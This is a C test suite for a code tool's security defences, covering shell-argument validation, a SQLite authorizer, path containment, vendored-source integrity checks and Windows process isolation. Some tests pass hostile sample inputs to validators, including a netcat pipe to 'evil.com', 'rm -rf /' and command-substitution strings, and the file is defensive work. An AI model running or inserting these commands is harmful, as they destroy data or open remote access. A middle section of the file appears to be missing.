/* * test_security.c — Tests for security defenses. * * Verifies that the actual security mechanisms work end-to-end: * - Shell injection prevention (cbm_validate_shell_arg) * - SQLite authorizer (ATTACH/DETACH blocked) * - Path containment (realpath prevents directory traversal) */ #include "test_framework.h" #include "test_helpers.h" #include #include #include "../src/foundation/str_util.h" #include "../src/foundation/compat_fs.h" #ifdef _WIN32 #include "../src/foundation/compat_fs_internal.h" #include "../src/foundation/win_utf8.h" #include /* #798 follow-up: listening-socket isolation guard */ #include #include #include #include #endif #include #include #include static char *security_read_file(const char *path) { FILE *file = fopen(path, "rb"); if (!file || fseek(file, 0, SEEK_END) != 0) { if (file) fclose(file); return NULL; } long size = ftell(file); if (size < 0 || fseek(file, 0, SEEK_SET) != 0) { fclose(file); return NULL; } char *content = (char *)malloc((size_t)size + 1U); if (!content || fread(content, 1U, (size_t)size, file) != (size_t)size) { free(content); fclose(file); return NULL; } content[size] = '\0'; fclose(file); return content; } static void security_normalize_crlf(char *content) { if (!content) { return; } char *read_cursor = content; char *write_cursor = content; while (*read_cursor) { if (read_cursor[0] == '\r' && read_cursor[1] == '\n') { read_cursor++; } *write_cursor++ = *read_cursor++; } *write_cursor = '\0'; } TEST(vendored_integrity_manifest_is_relocatable_and_fail_closed) { FILE *checksums = fopen("scripts/vendored-checksums.txt", "r"); ASSERT_NOT_NULL(checksums); char line[4096]; size_t entries = 0U; while (fgets(line, sizeof(line), checksums)) { char hash[65]; char path[3900]; if (sscanf(line, "%64s %3899s", hash, path) != 2) continue; ASSERT_EQ(strlen(hash), 64U); ASSERT(strncmp(path, "vendored/", strlen("vendored/")) == 0 || strncmp(path, "internal/cbm/vendored/", strlen("internal/cbm/vendored/")) == 0); entries++; } fclose(checksums); ASSERT(entries > 0U); char *script = security_read_file("scripts/security-vendored.sh"); ASSERT_NOT_NULL(script); security_normalize_crlf(script); ASSERT_NOT_NULL(strstr(script, "MISSING=$((MISSING + 1))\n CONTENT_DRIFT=1")); ASSERT_NOT_NULL( strstr(script, "if [[ $CHECKED -eq 0 ]]; then\n echo \"BLOCKED: checksum manifest verified zero " "files\"\n STRUCTURAL_FAIL=1")); free(script); PASS(); } /* ══════════════════════════════════════════════════════════════════ * SHELL INJECTION PREVENTION * ══════════════════════════════════════════════════════════════════ */ #ifndef _WIN32 static const char *security_vendored_fixture_manifest = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 " "vendored/yyjson/safe.c\n"; static int security_make_vendored_fixture(char *root, size_t root_size, const char *extra_relative_path, const char *extra_content) { if (!root || root_size == 0U || !extra_relative_path || !extra_content) return -1; int n = snprintf(root, root_size, "%s/cbm_vendored_security_XXXXXX", cbm_tmpdir()); if (n < 0 || (size_t)n >= root_size || !cbm_mkdtemp(root)) return -1; char *script = security_read_file("scripts/security-vendored.sh"); if (!script) { th_cleanup(root); return -1; } int rc = 0; if (th_write_file(TH_PATH(root, "scripts/security-vendored.sh"), script) != 0 || th_write_file(TH_PATH(root, "scripts/vendored-checksums.txt"), security_vendored_fixture_manifest) != 0 || th_write_file(TH_PATH(root, "vendored/yyjson/safe.c"), "") != 0 || th_write_file(TH_PATH(root, extra_relative_path), extra_content) != 0) { rc = -1; } free(script); if (rc != 0) th_cleanup(root); return rc; } TEST(vendored_integrity_rejects_unmanifested_source) { char root[1024]; ASSERT_EQ(security_make_vendored_fixture(root, sizeof(root), "vendored/yyjson/unmanifested.h", "#define CBM_SAFE_EXTRA 1\n"), 0); char script_path[1200]; snprintf(script_path, sizeof(script_path), "%s/scripts/security-vendored.sh", root); const char *argv[] = {"bash", script_path, NULL}; int rc = cbm_exec_no_shell(argv); th_cleanup(root); ASSERT_NEQ(rc, 0); PASS(); } TEST(vendored_integrity_update_refuses_dangerous_source_without_manifest_mutation) { char root[1024]; ASSERT_EQ(security_make_vendored_fixture(root, sizeof(root), "vendored/yyjson/danger.c", "int danger(void) { return system(\"true\"); }\n"), 0); char script_path[1200]; char manifest_path[1200]; snprintf(script_path, sizeof(script_path), "%s/scripts/security-vendored.sh", root); snprintf(manifest_path, sizeof(manifest_path), "%s/scripts/vendored-checksums.txt", root); const char *argv[] = {"bash", script_path, "--update", NULL}; int rc = cbm_exec_no_shell(argv); char *manifest_after = security_read_file(manifest_path); int manifest_preserved = manifest_after && strcmp(manifest_after, security_vendored_fixture_manifest) == 0; free(manifest_after); th_cleanup(root); ASSERT_NEQ(rc, 0); ASSERT_TRUE(manifest_preserved); PASS(); } #endif /* !_WIN32 */ TEST(shell_rejects_single_quote) { ASSERT_FALSE(cbm_validate_shell_arg("foo'bar")); PASS(); } TEST(shell_rejects_dollar_subst) { ASSERT_FALSE(cbm_validate_shell_arg("$(whoami)")); PASS(); } TEST(shell_rejects_backtick) { ASSERT_FALSE(cbm_validate_shell_arg("`id`")); PASS(); } TEST(shell_rejects_semicolon) { ASSERT_FALSE(cbm_validate_shell_arg("foo;rm -rf /")); PASS(); } TEST(shell_rejects_pipe) { ASSERT_FALSE(cbm_validate_shell_arg("foo|nc evil.com 4444")); PASS(); } TEST(shell_rejects_ampersand) { ASSERT_FALSE(cbm_validate_shell_arg("foo&background")); PASS(); } TEST(shell_rejects_backslash) { #ifdef _WIN32 /* Backslash is allowed on Windows (path separator) */ ASSERT_TRUE(cbm_validate_shell_arg("foo\\bar")); #else ASSERT_FALSE(cbm_validate_shell_arg("foo\\bar")); #endif PASS(); } TEST(shell_rejects_newline) { ASSERT_FALSE(cbm_validate_shell_arg("foo\nbar")); PASS(); } /* Every path that reaches a shell command must go through the path variant, not * the bare one: the three git shell-out sites each wrap the repo path in cmd.exe * double quotes, where %VAR%, !VAR! and ^ stay active. One site used the bare * validator and so accepted them. */ TEST(shell_path_arg_rejects_cmd_expansion) { /* Anything the base validator rejects, the path variant rejects too. */ ASSERT_FALSE(cbm_validate_shell_path_arg("foo'bar")); ASSERT_FALSE(cbm_validate_shell_path_arg("$(whoami)")); ASSERT_FALSE(cbm_validate_shell_path_arg("foo;rm -rf /")); ASSERT_FALSE(cbm_validate_shell_path_arg(NULL)); #ifdef _WIN32 ASSERT_FALSE(cbm_validate_shell_path_arg("C:/repo/%USERPROFILE%")); ASSERT_FALSE(cbm_validate_shell_path_arg("C:/repo/!PATH!")); ASSERT_FALSE(cbm_validate_shell_path_arg("C:/repo/a^b")); ASSERT_TRUE(cbm_validate_shell_path_arg("C:/Users/dev/my repo")); #else /* The cmd.exe metacharacters are inert on POSIX, so a path containing them * stays valid here; only the Windows build rejects them. */ ASSERT_TRUE(cbm_validate_shell_path_arg("/tmp/repo/100%")); ASSERT_TRUE(cbm_validate_shell_path_arg("/tmp/my repo")); #endif PASS(); } TEST(shell_rejects_carriage_return) { ASSERT_FALSE(cbm_validate_shell_arg("foo\rbar")); PASS(); } TEST(shell_rejects_null) { ASSERT_FALSE(cbm_validate_shell_arg(NULL)); PASS(); } TEST(shell_rejects_double_quote) { /* On Windows, the search code path wraps args in cmd.exe-level * "powershell -Command \"...'%s'...\"". A " in the input would close * the cmd.exe outer quote. Block unconditionally. */ ASSERT_FALSE(cbm_validate_shell_arg("foo\"bar")); PASS(); } TEST(shell_rejects_redirect_out) { ASSERT_FALSE(cbm_validate_shell_arg("foo>out.txt")); PASS(); } TEST(shell_rejects_redirect_in) { ASSERT_FALSE(cbm_validate_shell_arg("foo 0); char cmd[MAX_PATH + 64]; snprintf(cmd, sizeof(cmd), "\"%s\" __cbm_sockprobe %llu", self, (unsigned long long)(uintptr_t)ls); FILE *fp = cbm_popen(cmd, "r"); ASSERT_NOT_NULL(fp); ASSERT_EQ(cbm_popen_last_was_isolated(), 1); char drain[128]; while (fgets(drain, sizeof(drain), fp)) { /* the probe writes nothing to stdout, but drain to a clean EOF */ } int rc = cbm_pclose(fp); closesocket(ls); WSACleanup(); ASSERT_EQ(rc, 0); /* 0 = socket isolated from child; 42 = leaked (regression) */ PASS(); } #endif /* _WIN32 */ /* ══════════════════════════════════════════════════════════════════ * SUITE * ══════════════════════════════════════════════════════════════════ */ SUITE(security) { RUN_TEST(vendored_integrity_manifest_is_relocatable_and_fail_closed); #ifndef _WIN32 RUN_TEST(vendored_integrity_rejects_unmanifested_source); RUN_TEST(vendored_integrity_update_refuses_dangerous_source_without_manifest_mutation); #endif /* Shell injection prevention */ RUN_TEST(shell_rejects_single_quote); RUN_TEST(shell_rejects_dollar_subst); RUN_TEST(shell_rejects_backtick); RUN_TEST(shell_rejects_semicolon); RUN_TEST(shell_rejects_pipe); RUN_TEST(shell_rejects_ampersand); RUN_TEST(shell_rejects_backslash); RUN_TEST(shell_rejects_newline); RUN_TEST(shell_path_arg_rejects_cmd_expansion); RUN_TEST(shell_rejects_carriage_return); RUN_TEST(shell_rejects_null); RUN_TEST(shell_rejects_double_quote); RUN_TEST(shell_rejects_redirect_out); RUN_TEST(shell_rejects_redirect_in); RUN_TEST(shell_accepts_clean_path); RUN_TEST(shell_accepts_spaces); RUN_TEST(shell_accepts_dots_dashes); RUN_TEST(shell_accepts_empty); RUN_TEST(shell_rejects_quote_escape_attack); RUN_TEST(shell_rejects_command_substitution); RUN_TEST(shell_rejects_env_var_expansion); /* SQLite authorizer */ RUN_TEST(sqlite_blocks_attach_via_cypher); RUN_TEST(sqlite_blocks_attach_direct); RUN_TEST(sqlite_blocks_detach_direct); RUN_TEST(sqlite_allows_normal_queries); /* SQL injection via Cypher */ RUN_TEST(cypher_rejects_sql_injection_in_string); RUN_TEST(cypher_rejects_union_injection); /* Path containment (POSIX only) */ #ifndef _WIN32 RUN_TEST(path_traversal_blocked); RUN_TEST(path_within_root_allowed); #endif #ifndef _WIN32 /* Shell-free subprocess execution */ RUN_TEST(exec_no_shell_true_returns_zero); RUN_TEST(exec_no_shell_false_returns_nonzero); RUN_TEST(exec_no_shell_echo_with_metacharacters); RUN_TEST(exec_no_shell_nonexistent_command); RUN_TEST(exec_no_shell_null_argv_returns_error); RUN_TEST(exec_no_shell_captures_exit_code); #else /* Windows command-line quoting (regression guard for #697) */ RUN_TEST(cmdline_taskkill_filter_is_single_quoted_token); RUN_TEST(cmdline_simple_args_are_not_quoted); RUN_TEST(cmdline_single_arg_no_trailing_space); RUN_TEST(cmdline_empty_arg_becomes_empty_quotes); RUN_TEST(cmdline_embedded_quote_is_escaped); RUN_TEST(cmdline_trailing_backslashes_doubled_before_close_quote); RUN_TEST(cmdline_null_argv_returns_null); RUN_TEST(cmdline_utf8_arg_is_widened_not_latin1); RUN_TEST(cmdline_utf8_multibyte_roundtrips_via_utf8_to_wide); /* Live CreateProcessW spawn path */ RUN_TEST(exec_no_shell_win_exit_zero); RUN_TEST(exec_no_shell_win_captures_exit_code); RUN_TEST(exec_no_shell_win_null_argv_returns_error); /* Isolated popen — handle-inheritance regression guard for #798 */ RUN_TEST(popen_isolated_git_version_round_trip); RUN_TEST(popen_isolated_propagates_exit_code); RUN_TEST(popen_isolates_listening_socket); #endif }